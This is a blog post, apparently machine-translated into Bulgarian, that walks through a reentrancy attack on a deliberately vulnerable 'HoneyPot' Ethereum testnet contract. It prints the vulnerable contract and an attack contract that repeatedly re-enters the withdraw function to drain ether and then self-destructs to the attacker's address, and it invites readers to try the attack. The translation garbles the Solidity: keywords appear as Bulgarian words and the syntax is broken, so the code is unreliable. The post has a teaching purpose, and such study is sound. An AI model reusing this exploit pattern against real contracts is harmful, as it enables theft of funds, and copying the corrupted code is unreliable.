Reentrancy Attack за интелигентни договори: Как да определим експлоатационния и пример за договор за атака

Кодирането на интелигентни договори със сигурност не е безплатен пикник. Една грешка, въведена в кода, струва пари и най-вероятно не само парите ви, но и други хора. Реалността е, че екосистемата Ethereum все още е в начален стадий, но растежът и стандартите се дефинират и предефинират от деня, така че човек трябва да бъде винаги актуализиран и приличен на най-добрите практики за сигурност на договорите.

Като студент по интелигентна сигурност на договора бях внимателен към уязвимостите в кода. Наскоро преподавателите в екип B9lab ме информираха за този договор, разположен в тестовата мрежа.

плътност на прагмата ^ 0.4.8;
договор HoneyPot {
  картографиране (адрес => uint) публични баланси;
  функция HoneyPot () платима {
    слагам();
  }
  изплаща се функция ()
    балансира [msg.sender] = msg. стойност;
  }
  функция get () {
    ако (! msg.sender.call.value (балансира [msg.sender]) ()) {
      хвърли;
    }
      балансира [msg.sender] = 0;
  }
  функция () {
    хвърли;
  }
}

Договорът с HoneyPot първоначално съдържаше 5 етера и умишлено беше предназначен за хакване. В тази публикация в блога искам да споделя с вас как нападнах този договор и „събрах“ по-голямата част от неговия етер.

Уязвимият договор

Целта на договора с HoneyPot по-горе е да поддържа отчет на балансите за всеки адрес, който поставя () етер в него и да позволи на тези адреси да ги получат () по-късно.

Нека разгледаме най-интересните части от този договор:

картографиране (адрес => uint) публични баланси;

Кодът по-горе преобразува адреса към стойност и я съхранява в обществена променлива, наречена баланси. Тя позволява да се провери балансът на HoneyPot за адрес.

баланси [0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

Функцията put () по-долу е мястото, където съхранението на етерната стойност се случва в договора. Имайте предвид, че msg.sender тук е адресът от изпращача на транзакцията.

изплаща се функция ()
    балансира [msg.sender] = msg. стойност;
  }

Следващата функция намираме къде е експлоатацията. Целта на тази функция е да позволи на адресите да изтеглят стойността на етера, който имат в балансите на HoneyPot.

функция get () {
    ако (! msg.sender.call.value (балансира [msg.sender]) ()) {
      хвърли;
    }
      балансира [msg.sender] = 0;
  }

Къде е експлоатацията и как някой може да атакува това, което питате? Проверете отново тези редове от код:

ако (! msg.sender.call.value (балансира [msg.sender]) ()) {
      хвърли;
}
балансира [msg.sender] = 0;

Договорът HoneyPot задава стойността на баланса на адреса на нула, само след като провери дали изпращането на етер до msg.sender преминава.

Какво става, ако има AttackContract, който измамва HoneyPot да мисли, че все още има етер, за да се оттегли, преди балансът на AttackContract да е нулев. Това може да се направи по рекурсивен начин и името за това се нарича reentrancy attack.

Нека да създадем такъв.

Ето пълния код на договора. Ще се опитам да обясня неговите части.

плътност на прагмата ^ 0.4.8;
импортиране "./HoneyPot.sol";
договор HoneyPotCollect {
  HoneyPot обществен меден съд;
  функция HoneyPotCollect (адрес _honeypot) {
    меден кош = HoneyPot (_honeypot);
  }
  функция kill () {
    самоубийство (msg.sender);
  }
  функция събиране () платимо {
    honeypot.put.value (msg.value) ();
    honeypot.get ();
  }
  функция () платима {
    ако (honeypot.balance> = msg.value) {
      honeypot.get ();
    }
  }
}

Първите няколко реда основно приписват съставителя на солидността да се използва с договора. След това импортираме HoneyPot договора, който поставих в отделен файл. Обърнете внимание, че HoneyPot е посочен в целия договор за HoneyPotCollect. И създадохме договорната база, която я наричаме HoneyPotCollect.

плътност на прагмата ^ 0.4.8;
импортиране "./HoneyPot.sol";
договор HoneyPotCollect {
  HoneyPot обществен меден съд;
...
}

След това определяме функцията конструктор. Това е функцията, която се извиква при създаването на HoneyPotCollect. Обърнете внимание, че предаваме адрес на тази функция. Този адрес ще бъде адресът на HoneyPot на договора.

функция HoneyPotCollect (адрес _honeypot) {
    меден кош = HoneyPot (_honeypot);
}

Следващата функция е функция за убиване. Искам да изтегля етер от договора с HoneyPot към договора с HoneyPotCollect. Но искам също така да събера събрания етер до адрес, който притежавам. Затова добавям механизъм за унищожаване на HoneyPotCollect и изпращам целия етер, съдържащ се в него, на адреса, който извиква функцията за убийство.

функция kill () {
  самоубийство (msg.sender);
}

Следващата функция е тази, която ще настрои атаката на реентранс в движение. Той поставя малко етер в HoneyPot и веднага след като го получи.

функция събиране () платимо {
    honeypot.put.value (msg.value) ();
    honeypot.get ();
  }

Терминът за плащане тук казва на виртуалната машина Ethereum, че тя позволява да получава етер. Призовете тази функция и с малко етер.

Последната функция е това, което е известно като резервна функция. Тази неназована функция се извиква винаги, когато договорът с HoneyPotCollect получава етер.

функция () платима {
    ако (honeypot.balance> = msg.value) {
      honeypot.get ();
    }
  }

Тук се случва атаката за реентранс. Нека да видим как.

Атаката

След разполагане на HoneyPotCollect, обадете се на събиране () и изпратете с него малко етер.

Функцията honeyPot get () изпраща етер до адреса, който го е извикал, само ако този договор има баланс. Когато HoneyPot изпрати етер към HoneyPotCollect, се задейства резервната функция. Ако балансът на HoneyPot е повече от стойността, до която е изпратен, извиканията за резервна функция get () функция отново и цикълът се повтаря.

Спомнете си, че във функцията get () кодът, който задава баланса на нула, идва само след изпращане на транзакцията. Това измамва договора с HoneyPot да изпраща пари на HoneyPotCollect адреса отново и отново, докато HoneyPot не се изчерпи от почти целия му етер.

Опитайте сами. Оставих 1 тестов етер в този договор, за да могат другите да го изпробват сами. Ако не видите останал етер там, това е така, защото някой вече го е нападнал преди вас.

Първоначално създадох този код за HoneyPotAttack, използващ рамката на Truffle. Ето кода в случай, че имате нужда от него за справка. Наслади се!